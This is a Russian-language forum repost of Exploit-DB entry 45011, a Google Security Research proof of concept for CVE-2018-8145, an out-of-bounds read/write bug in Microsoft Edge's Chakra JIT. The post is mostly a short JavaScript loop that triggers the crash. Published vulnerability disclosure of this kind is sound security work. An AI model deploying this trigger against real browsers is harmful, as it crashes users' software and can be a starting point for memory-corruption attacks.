Exploit Microsoft Edge Chakra JIT - Out-of-Bounds Reads/Writes

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
45011
Проверка EDB
  1. Пройдено
Автор
GOOGLE SECURITY RESEARCH
Тип уязвимости
DOS
Платформа
WINDOWS
CVE
cve-2018-8145
Дата публикации
2018-07-12
Microsoft Edge Chakra JIT - Out-of-Bounds Reads/Writes
Код:
/*
It seems that this issue is similar to the  issue 1429  (MSRC 42111). It might need to refresh the page several times to observe a crash.

PoC:
*/

let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
    for (let j = 0; j < 1; j++) {
        i--;
        i++;
    }

    arr[i] = 0x1234;
}
 
Источник
www.exploit-db.com

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